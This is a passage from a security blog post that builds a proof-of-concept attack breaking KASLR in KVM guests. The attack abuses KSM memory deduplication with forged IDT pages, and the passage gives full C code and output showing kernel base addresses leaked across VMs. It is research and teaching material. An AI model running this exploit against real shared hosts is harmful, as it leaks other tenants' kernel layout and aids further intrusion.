    <span class="n">printf</span><span class="p">(</span><span class="s">"write : %ld cycles</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">time_poke</span><span class="p">(</span><span class="n">attacker</span><span class="p">));</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"write : %ld cycles</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">time_poke</span><span class="p">(</span><span class="n">attacker</span><span class="p">));</span>
<span class="p">}</span></code></pre></figure>

<p>The only major differences between this test and the previous, aside from being inside a VM, are that the pages are no longer being marked mergeable using madvise, and the timing is wrapped in a loop (because the merging takes a bit longer with the amount of memory a VM uses).</p>

<p>Here is an example of the output from this test:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...
sleeping to wait for merge...
finished sleeping... checking access times
write : 81 cycles
write : 81 cycles
sleeping to wait for merge...
finished sleeping... checking access times
write : 55242 cycles
write : 54 cycles
...
</code></pre></div></div>

<p>So without even marking either of these pages as mergeable, we can see that deduplication occurred!</p>

<p>But this isn’t very interesting yet, all we’ve done is show that we can see our own memory get merged together…</p>

<h3 id="breaking-kaslr">breaking KASLR</h3>

<p>So how can we break KASLR using memory deduplication?</p>

<p>The article describing this attack[2] targets relocations, the idea being that a number of instructions have to be adjusted after the kernel is rebased by KASLR, if we can find some code pages with only a few relocations then only the relocated instructions will differ between boot and leaking the relocated instructions will mean breaking KASLR. So if we just mmap a page in userspace with the contents of a kernel code page and bruteforce the relocations until merging occurs, we should have our leak!</p>

<p>Except that sounds kind of annoying, adjusting relocations in C? maybe it isn’t actually <em>that</em> bad but I’d rather not… so I’ll target something else that’s a little more structured instead: the IDT.</p>

<p>The Interrupt Descriptor Table (IDT) is a decent target for this attack because it is full of entries that represent interrupt entry points, the entries only vary per boot by KASLR affecting what address they will point to. This makes the entries relatively easy to generate, I can just boot the VM, dump the IDT to collect the first qword of the each entry, rebase them to according to the lowest possible virtual address for the kernel to be located, and stick them into an array. I’ll include a script I wrote in the repo that makes generating this array easy.</p>

<p>For an IDT with entries that look like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  x/16gx 0xfffffe0000000000
0xfffffe0000000000:	0x88808e0000100920	0x00000000ffffffff
0xfffffe0000000010:	0x88808e0300100c40	0x00000000ffffffff
0xfffffe0000000020:	0x88808e0200101680	0x00000000ffffffff
0xfffffe0000000030:	0x8880ee0000100b30	0x00000000ffffffff
0xfffffe0000000040:	0x8880ee0000100940	0x00000000ffffffff
0xfffffe0000000050:	0x88808e0000100960	0x00000000ffffffff
0xfffffe0000000060:	0x88808e0000100b10	0x00000000ffffffff
0xfffffe0000000070:	0x88808e0000100980	0x00000000ffffffff
</code></pre></div></div>

<p>I end up with an array that looks like this:</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="kt">uint64_t</span> <span class="n">entries</span><span class="p">[</span><span class="mi">256</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x81208e0000100920</span><span class="p">,</span> <span class="mh">0x81208e0300100c40</span><span class="p">,</span> <span class="mh">0x81208e0200101680</span><span class="p">,</span> <span class="mh">0x8120ee0000100b30</span><span class="p">,</span> <span class="mh">0x8120ee0000100940</span><span class="p">,</span> <span class="mh">0x81208e0000100960</span><span class="p">,</span> <span class="mh">0x81208e0000100b10</span><span class="p">,</span> <span class="mh">0x81208e0000100980</span><span class="p">,</span> <span class="mh">0x81208e0100100ca0</span><span class="p">,</span> <span class="mh">0x81208e00001009a0</span><span class="p">,</span> <span class="mh">0x81208e0000100a20</span><span class="p">,</span> <span class="mh">0x81208e0000100a50</span><span class="p">,</span> <span class="mh">0x81208e0000100a80</span><span class="p">,</span> <span class="mh">0x81208e0000100ab0</span><span class="p">,</span> <span class="mh">0x81208e0000100b70</span><span class="p">,</span> <span class="mh">0x81208e00001009c0</span><span class="p">,</span> <span class="mh">0x81208e00001009e0</span><span class="p">,</span> <span class="mh">0x81208e0000100ae0</span><span class="p">,</span> <span class="mh">0x81208e0400100ba0</span><span class="p">,</span> <span class="mh">0x81208e0000100a00</span><span class="p">,</span> <span class="mh">0x81208e0000100db0</span><span class="p">,</span> <span class="mh">0x82678e000010992d</span><span class="p">,</span> <span class="mh">0x82678e0000109936</span><span class="p">,</span> <span class="mh">0x82678e000010993f</span><span class="p">,</span> <span class="mh">0x82678e0000109948</span><span class="p">,</span> <span class="mh">0x82678e0000109951</span><span class="p">,</span> <span class="mh">0x82678e000010995a</span><span class="p">,</span> <span class="mh">0x82678e0000109963</span><span class="p">,</span> <span class="mh">0x82678e000010996c</span><span class="p">,</span> <span class="mh">0x81208e0500100d00</span><span class="p">,</span> <span class="mh">0x82678e000010997e</span><span class="p">,</span> <span class="mh">0x82678e0000109987</span><span class="p">,</span> <span class="mh">0x81208e0000100f10</span><span class="p">,</span> <span class="mh">0x81208e0000100228</span><span class="p">,</span> <span class="mh">0x81208e0000100230</span><span class="p">,</span> <span class="mh">0x81208e0000100238</span><span class="p">,</span> <span class="mh">0x81208e0000100240</span><span class="p">,</span> <span class="mh">0x81208e0000100248</span><span class="p">,</span> <span class="mh">0x81208e0000100250</span><span class="p">,</span> <span class="mh">0x81208e0000100258</span><span class="p">,</span> <span class="mh">0x81208e0000100260</span><span class="p">,</span> <span class="mh">0x81208e0000100268</span><span class="p">,</span> <span class="mh">0x81208e0000100270</span><span class="p">,</span> <span class="mh">0x81208e0000100278</span><span class="p">,</span> <span class="mh">0x81208e0000100280</span><span class="p">,</span> <span class="mh">0x81208e0000100288</span><span class="p">,</span> <span class="mh">0x81208e0000100290</span><span class="p">,</span> <span class="mh">0x81208e0000100298</span><span class="p">,</span> <span class="mh">0x81208e00001002a0</span><span class="p">,</span> <span class="mh">0x81208e00001002a8</span><span class="p">,</span> <span class="mh">0x81208e00001002b0</span><span class="p">,</span> <span class="mh">0x81208e00001002b8</span><span class="p">,</span> <span class="mh">0x81208e00001002c0</span><span class="p">,</span> <span class="mh">0x81208e00001002c8</span><span class="p">,</span> <span class="mh">0x81208e00001002d0</span><span class="p">,</span> <span class="mh">0x81208e00001002d8</span><span class="p">,</span> <span class="mh">0x81208e00001002e0</span><span class="p">,</span> <span class="mh">0x81208e00001002e8</span><span class="p">,</span> <span class="mh">0x81208e00001002f0</span><span class="p">,</span> <span class="mh">0x81208e00001002f8</span><span class="p">,</span> <span class="mh">0x81208e0000100300</span><span class="p">,</span> <span class="mh">0x81208e0000100308</span><span class="p">,</span> <span class="mh">0x81208e0000100310</span><span class="p">,</span> <span class="mh">0x81208e0000100318</span><span class="p">,</span> <span class="mh">0x81208e0000100320</span><span class="p">,</span> <span class="mh">0x81208e0000100328</span><span class="p">,</span> <span class="mh">0x81208e0000100330</span><span class="p">,</span> <span class="mh">0x81208e0000100338</span><span class="p">,</span> <span class="mh">0x81208e0000100340</span><span class="p">,</span> <span class="mh">0x81208e0000100348</span><span class="p">,</span> <span class="mh">0x81208e0000100350</span><span class="p">,</span> <span class="mh">0x81208e0000100358</span><span class="p">,</span> <span class="mh">0x81208e0000100360</span><span class="p">,</span> <span class="mh">0x81208e0000100368</span><span class="p">,</span> <span class="mh">0x81208e0000100370</span><span class="p">,</span> <span class="mh">0x81208e0000100378</span><span class="p">,</span> <span class="mh">0x81208e0000100380</span><span class="p">,</span> <span class="mh">0x81208e0000100388</span><span class="p">,</span> <span class="mh">0x81208e0000100390</span><span class="p">,</span> <span class="mh">0x81208e0000100398</span><span class="p">,</span> <span class="mh">0x81208e00001003a0</span><span class="p">,</span> <span class="mh">0x81208e00001003a8</span><span class="p">,</span> <span class="mh">0x81208e00001003b0</span><span class="p">,</span> <span class="mh">0x81208e00001003b8</span><span class="p">,</span> <span class="mh">0x81208e00001003c0</span><span class="p">,</span> <span class="mh">0x81208e00001003c8</span><span class="p">,</span> <span class="mh">0x81208e00001003d0</span><span class="p">,</span> <span class="mh">0x81208e00001003d8</span><span class="p">,</span> <span class="mh">0x81208e00001003e0</span><span class="p">,</span> <span class="mh">0x81208e00001003e8</span><span class="p">,</span> <span class="mh">0x81208e00001003f0</span><span class="p">,</span> <span class="mh">0x81208e00001003f8</span><span class="p">,</span> <span class="mh">0x81208e0000100400</span><span class="p">,</span> <span class="mh">0x81208e0000100408</span><span class="p">,</span> <span class="mh">0x81208e0000100410</span><span class="p">,</span> <span class="mh">0x81208e0000100418</span><span class="p">,</span> <span class="mh">0x81208e0000100420</span><span class="p">,</span> <span class="mh">0x81208e0000100428</span><span class="p">,</span> <span class="mh">0x81208e0000100430</span><span class="p">,</span> <span class="mh">0x81208e0000100438</span><span class="p">,</span> <span class="mh">0x81208e0000100440</span><span class="p">,</span> <span class="mh">0x81208e0000100448</span><span class="p">,</span> <span class="mh">0x81208e0000100450</span><span class="p">,</span> <span class="mh">0x81208e0000100458</span><span class="p">,</span> <span class="mh">0x81208e0000100460</span><span class="p">,</span> <span class="mh">0x81208e0000100468</span><span class="p">,</span> <span class="mh">0x81208e0000100470</span><span class="p">,</span> <span class="mh">0x81208e0000100478</span><span class="p">,</span> <span class="mh">0x81208e0000100480</span><span class="p">,</span> <span class="mh">0x81208e0000100488</span><span class="p">,</span> <span class="mh">0x81208e0000100490</span><span class="p">,</span> <span class="mh">0x81208e0000100498</span><span class="p">,</span> <span class="mh">0x81208e00001004a0</span><span class="p">,</span> <span class="mh">0x81208e00001004a8</span><span class="p">,</span> <span class="mh">0x81208e00001004b0</span><span class="p">,</span> <span class="mh">0x81208e00001004b8</span><span class="p">,</span> <span class="mh">0x81208e00001004c0</span><span class="p">,</span> <span class="mh">0x81208e00001004c8</span><span class="p">,</span> <span class="mh">0x81208e00001004d0</span><span class="p">,</span> <span class="mh">0x81208e00001004d8</span><span class="p">,</span> <span class="mh">0x81208e00001004e0</span><span class="p">,</span> <span class="mh">0x81208e00001004e8</span><span class="p">,</span> <span class="mh">0x81208e00001004f0</span><span class="p">,</span> <span class="mh">0x81208e00001004f8</span><span class="p">,</span> <span class="mh">0x81208e0000100500</span><span class="p">,</span> <span class="mh">0x81208e0000100508</span><span class="p">,</span> <span class="mh">0x81208e0000100510</span><span class="p">,</span> <span class="mh">0x81208e0000100518</span><span class="p">,</span> <span class="mh">0x8120ee0000101a80</span><span class="p">,</span> <span class="mh">0x81208e0000100528</span><span class="p">,</span> <span class="mh">0x81208e0000100530</span><span class="p">,</span> <span class="mh">0x81208e0000100538</span><span class="p">,</span> <span class="mh">0x81208e0000100540</span><span class="p">,</span> <span class="mh">0x81208e0000100548</span><span class="p">,</span> <span class="mh">0x81208e0000100550</span><span class="p">,</span> <span class="mh">0x81208e0000100558</span><span class="p">,</span> <span class="mh">0x81208e0000100560</span><span class="p">,</span> <span class="mh">0x81208e0000100568</span><span class="p">,</span> <span class="mh">0x81208e0000100570</span><span class="p">,</span> <span class="mh">0x81208e0000100578</span><span class="p">,</span> <span class="mh">0x81208e0000100580</span><span class="p">,</span> <span class="mh">0x81208e0000100588</span><span class="p">,</span> <span class="mh">0x81208e0000100590</span><span class="p">,</span> <span class="mh">0x81208e0000100598</span><span class="p">,</span> <span class="mh">0x81208e00001005a0</span><span class="p">,</span> <span class="mh">0x81208e00001005a8</span><span class="p">,</span> <span class="mh">0x81208e00001005b0</span><span class="p">,</span> <span class="mh">0x81208e00001005b8</span><span class="p">,</span> <span class="mh">0x81208e00001005c0</span><span class="p">,</span> <span class="mh">0x81208e00001005c8</span><span class="p">,</span> <span class="mh">0x81208e00001005d0</span><span class="p">,</span> <span class="mh">0x81208e00001005d8</span><span class="p">,</span> <span class="mh">0x81208e00001005e0</span><span class="p">,</span> <span class="mh">0x81208e00001005e8</span><span class="p">,</span> <span class="mh">0x81208e00001005f0</span><span class="p">,</span> <span class="mh">0x81208e00001005f8</span><span class="p">,</span> <span class="mh">0x81208e0000100600</span><span class="p">,</span> <span class="mh">0x81208e0000100608</span><span class="p">,</span> <span class="mh">0x81208e0000100610</span><span class="p">,</span> <span class="mh">0x81208e0000100618</span><span class="p">,</span> <span class="mh">0x81208e0000100620</span><span class="p">,</span> <span class="mh">0x81208e0000100628</span><span class="p">,</span> <span class="mh">0x81208e0000100630</span><span class="p">,</span> <span class="mh">0x81208e0000100638</span><span class="p">,</span> <span class="mh">0x81208e0000100640</span><span class="p">,</span> <span class="mh">0x81208e0000100648</span><span class="p">,</span> <span class="mh">0x81208e0000100650</span><span class="p">,</span> <span class="mh">0x81208e0000100658</span><span class="p">,</span> <span class="mh">0x81208e0000100660</span><span class="p">,</span> <span class="mh">0x81208e0000100668</span><span class="p">,</span> <span class="mh">0x81208e0000100670</span><span class="p">,</span> <span class="mh">0x81208e0000100678</span><span class="p">,</span> <span class="mh">0x81208e0000100680</span><span class="p">,</span> <span class="mh">0x81208e0000100688</span><span class="p">,</span> <span class="mh">0x81208e0000100690</span><span class="p">,</span> <span class="mh">0x81208e0000100698</span><span class="p">,</span> <span class="mh">0x81208e00001006a0</span><span class="p">,</span> <span class="mh">0x81208e00001006a8</span><span class="p">,</span> <span class="mh">0x81208e00001006b0</span><span class="p">,</span> <span class="mh">0x81208e00001006b8</span><span class="p">,</span> <span class="mh">0x81208e00001006c0</span><span class="p">,</span> <span class="mh">0x81208e00001006c8</span><span class="p">,</span> <span class="mh">0x81208e00001006d0</span><span class="p">,</span> <span class="mh">0x81208e00001006d8</span><span class="p">,</span> <span class="mh">0x81208e00001006e0</span><span class="p">,</span> <span class="mh">0x81208e00001006e8</span><span class="p">,</span> <span class="mh">0x81208e00001006f0</span><span class="p">,</span> <span class="mh">0x81208e00001006f8</span><span class="p">,</span> <span class="mh">0x81208e0000100700</span><span class="p">,</span> <span class="mh">0x81208e0000100708</span><span class="p">,</span> <span class="mh">0x81208e0000100710</span><span class="p">,</span> <span class="mh">0x81208e0000100718</span><span class="p">,</span> <span class="mh">0x81208e0000100720</span><span class="p">,</span> <span class="mh">0x81208e0000100728</span><span class="p">,</span> <span class="mh">0x81208e0000100730</span><span class="p">,</span> <span class="mh">0x81208e0000100738</span><span class="p">,</span> <span class="mh">0x81208e0000100740</span><span class="p">,</span> <span class="mh">0x81208e0000100748</span><span class="p">,</span> <span class="mh">0x81208e0000100750</span><span class="p">,</span> <span class="mh">0x81208e0000100758</span><span class="p">,</span> <span class="mh">0x81208e0000100760</span><span class="p">,</span> <span class="mh">0x81208e0000100768</span><span class="p">,</span> <span class="mh">0x81208e0000100770</span><span class="p">,</span> <span class="mh">0x81208e0000100778</span><span class="p">,</span> <span class="mh">0x81208e0000100780</span><span class="p">,</span> <span class="mh">0x81208e0000100788</span><span class="p">,</span> <span class="mh">0x81208e0000100790</span><span class="p">,</span> <span class="mh">0x81208e0000100798</span><span class="p">,</span> <span class="mh">0x81208e00001007a0</span><span class="p">,</span> <span class="mh">0x81208e00001007a8</span><span class="p">,</span> <span class="mh">0x81208e00001007b0</span><span class="p">,</span> <span class="mh">0x81208e00001007b8</span><span class="p">,</span> <span class="mh">0x81208e00001007c0</span><span class="p">,</span> <span class="mh">0x81208e00001007c8</span><span class="p">,</span> <span class="mh">0x81208e00001007d0</span><span class="p">,</span> <span class="mh">0x81208e00001007d8</span><span class="p">,</span> <span class="mh">0x81208e00001007e0</span><span class="p">,</span> <span class="mh">0x81208e00001007e8</span><span class="p">,</span> <span class="mh">0x81208e00001007f0</span><span class="p">,</span> <span class="mh">0x81208e00001007f8</span><span class="p">,</span> <span class="mh">0x81208e0000100800</span><span class="p">,</span> <span class="mh">0x81208e0000100808</span><span class="p">,</span> <span class="mh">0x81208e0000100810</span><span class="p">,</span> <span class="mh">0x81208e0000100818</span><span class="p">,</span> <span class="mh">0x81208e0000100820</span><span class="p">,</span> <span class="mh">0x81208e0000100828</span><span class="p">,</span> <span class="mh">0x81208e0000100830</span><span class="p">,</span> <span class="mh">0x81208e0000100838</span><span class="p">,</span> <span class="mh">0x81208e0000100840</span><span class="p">,</span> <span class="mh">0x81208e0000100848</span><span class="p">,</span> <span class="mh">0x81208e0000100850</span><span class="p">,</span> <span class="mh">0x81208e0000100858</span><span class="p">,</span> <span class="mh">0x81208e0000100860</span><span class="p">,</span> <span class="mh">0x81208e0000100868</span><span class="p">,</span> <span class="mh">0x81208e0000100870</span><span class="p">,</span> <span class="mh">0x81208e0000100878</span><span class="p">,</span> <span class="mh">0x81208e0000100eb0</span><span class="p">,</span> <span class="mh">0x81208e0000100888</span><span class="p">,</span> <span class="mh">0x81208e0000100890</span><span class="p">,</span> <span class="mh">0x81208e0000100898</span><span class="p">,</span> <span class="mh">0x81208e0000101050</span><span class="p">,</span> <span class="mh">0x81208e0000101030</span><span class="p">,</span> <span class="mh">0x81208e0000101010</span><span class="p">,</span> <span class="mh">0x81208e0000101110</span><span class="p">,</span> <span class="mh">0x81208e0000100fb0</span><span class="p">,</span> <span class="mh">0x81208e00001008c8</span><span class="p">,</span> <span class="mh">0x81208e0000100ff0</span><span class="p">,</span> <span class="mh">0x81208e0000100ed0</span><span class="p">,</span> <span class="mh">0x81208e0000100f30</span><span class="p">,</span> <span class="mh">0x81208e0000100f90</span><span class="p">,</span> <span class="mh">0x81208e0000100fd0</span><span class="p">,</span> <span class="mh">0x81208e0000100f50</span><span class="p">,</span> <span class="mh">0x81208e0000100f70</span><span class="p">,</span> <span class="mh">0x81208e0000100ef0</span><span class="p">,</span> <span class="mh">0x81208e0000100e70</span><span class="p">,</span> <span class="mh">0x81208e0000100e90</span> <span class="p">};</span></code></pre></figure>

<p>With that array created it is very easy to produce an IDT page for a potential KASLR offset:</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="kt">void</span> <span class="o">*</span><span class="nf">setup_idt_page</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="o">*</span><span class="n">page</span> <span class="o">=</span> <span class="n">alloc_page</span><span class="p">();</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">uint64_t</span> <span class="n">shifted_offset</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">offset</span> <span class="o">&lt;&lt;</span> <span class="mi">53</span><span class="p">;</span>
        <span class="n">page</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">shifted_offset</span> <span class="o">+</span> <span class="n">entries</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
        <span class="n">page</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">2</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00000000ffffffff</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">page</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>

<p>Now all that is left is to put it all together and we’ll have constructed an attack that can break KASLR within KVM by exploiting KSM on IDT pages!</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// create candidate IDT pages</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">idt_pages</span><span class="p">[</span><span class="mi">512</span><span class="p">];</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">512</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
    <span class="n">idt_pages</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">setup_idt_page</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>

<span class="c1">// detect if any candidate pages were merged</span>
<span class="kt">int</span> <span class="n">attempt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"-- beginning attempt %d --</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">++</span><span class="n">attempt</span><span class="p">);</span>
    <span class="kt">uint64_t</span> <span class="n">results</span><span class="p">[</span><span class="mi">512</span><span class="p">];</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">512</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">void</span> <span class="o">*</span><span class="n">page</span> <span class="o">=</span> <span class="n">idt_pages</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
        <span class="n">time_access</span><span class="p">(</span><span class="n">page</span><span class="p">);</span>

        <span class="kt">uint64_t</span> <span class="n">first</span> <span class="o">=</span> <span class="n">time_poke</span><span class="p">(</span><span class="n">page</span><span class="p">);</span>
        <span class="kt">uint64_t</span> <span class="n">second</span> <span class="o">=</span> <span class="n">time_poke</span><span class="p">(</span><span class="n">page</span><span class="p">);</span>

        <span class="kt">void</span> <span class="o">*</span><span class="n">base</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0xffffffff80000000</span> <span class="o">+</span> <span class="p">(</span><span class="n">i</span> <span class="o">&lt;&lt;</span> <span class="mi">21</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%p (%#03x): %ld =&gt; %ld</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">base</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">first</span><span class="p">,</span> <span class="n">second</span><span class="p">);</span>
        <span class="n">results</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">first</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">uint64_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">512</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">results</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&gt;</span> <span class="n">MERGE_THRESHOLD</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"detected merged page at index %#03lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"kernel base = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0xffffffff80000000</span> <span class="o">+</span> <span class="p">(</span><span class="n">i</span> <span class="o">&lt;&lt;</span> <span class="mi">21</span><span class="p">));</span>
            <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">20</span><span class="p">);</span>
<span class="p">}</span></code></pre></figure>

<p>Under the default configurations for KSM on my host machine, I got a successful KASLR break in just under nine minutes on a VM that had been up for several minutes.</p>

<p>To see the attack working without having to wait so long, consider lowering KSM’s sleep_miliseconds config value to something more like 20ms.</p>

<h3 id="breaking-kaslr-across-vms">breaking KASLR across VMs</h3>

<p>Okay how about across VMs now? well, there isn’t actually anything more to do.</p>

<p>The code to break KASLR on the current VM already works across VMs, it will detect any matching IDTs that exist on any running VMs so long as they are using KSM.</p>

<p>Just to confirm this, I ran two VMs with the same kernel image and just removed the exit condition from the loop of the attack so it would keep running even if it found a deduplicated IDT page, and here are the results:</p>

<p>VM 1:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@host:~/kvm-kaslr# cat /proc/kallsyms | grep "T _text"
ffffffffb5800000 T _text
</code></pre></div></div>

<p>VM 2:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/home/root # cat /proc/kallsyms | grep "T _text"
ffffffffb4400000 T _text
</code></pre></div></div>

<p>After running the attack for a while I got this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>detected merged page at index 0x1ac
kernel base = 0xffffffffb5800000
</code></pre></div></div>

<p>Followed shortly by:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>detected merged page at index 0x1a2
kernel base = 0xffffffffb4400000
</code></pre></div></div>

<p>Cross VM leakage achieved!</p>

<h2 id="closing-thoughts">closing thoughts</h2>

<p>Deduplication attacks are pretty cool and fairly simple to pull off, but I am slightly concerned that KSM was enabled on my machine without me knowing… not that I was exposing any VMs to the internet anyways but since it was enabled on my machine I worry where else is it might be unknowningly enabled. All I exploited it for in this post was breaking KASLR, but theoretically it could be used to leak the contents of any page from any VM on the system, and research has been done to see just how far it can be pushed[6].</p>

<p>Hope you learned something! This is my first attempt at blogging, it turned out a bit more code dense than I’d have liked, but hopefully the all the code examples made it easier to follow. I do kind of like the format of exploring an attack class and progressively developing an attack of that type, so maybe I’ll do it again sometime.</p>

<h2 id="sources">sources</h2>

<p>[1] Rodney Owens and Weichao Wang. Non-interactive OS fingerprinting through memory de-duplication technique in virtual machines. In International Performance Computing and Communications Conference, 2011.</p>

<p>[2] Taehun Kim, Taehyun Kim, and Youngjoo Shin. Breaking kaslr using memory deduplication in virtualized environments. Electronics, 2021. URL: https://www.mdpi.com/2079-9292/10/17/2174.</p>

<p>[3] Antonio Barresi, Kaveh Razavi, Mathias Payer, and Thomas R. Gross. CAIN: silently breaking ASLR in the cloud. In WOOT, 2015.</p>

<p>[4] Martin Schwarzl, Erik Kraft, Moritz Lipp, and Daniel Gruss. Remote Page Deduplication Attacks. In NDSS, 2022.</p>

<p>[5] K. Razavi, B. Gras, E. Bosman, B. Preneel, C. Giuffrida, and H. Bos. Flip Feng Shui: Hammering a Needle in the Software Stack. in SEC, 2016.</p>

<p>[6] E. Bosman, K. Razavi, H. Bos, and C. Giuffrida. Dedup Est Machina: Memory Deduplication as an Advanced Exploitation Vector. In SP, 2016.</p>

<p>[7] <a href="https://lwn.net/Articles/306704/">lwn: /dev/ksm: dynamic memory sharing</a></p>]]></content><author><name>Jennifer Miller</name></author><category term="Exploitation" /><category term="Sidechannels" /><category term="Linux" /><category term="KVM" /><category term="KASLR" /><summary type="html"><![CDATA[I recently came across a bunch of research describing attacks on memory deduplication, it has been used to fingerprint systems[1], crack (K)ASLR[2,3,4], leak database records[4], and even exploit rowhammer[5]. It’s a really cool class of attacks that I hadn’t heard of before, but I wasn’t having much luck finding any POCs for these attacks… So, I figured I’d write up what I learned about how these attacks work and write my own version of one of these attacks that can be used break KASLR in KVM for the current VM as well as across VMs.]]></summary></entry></feed>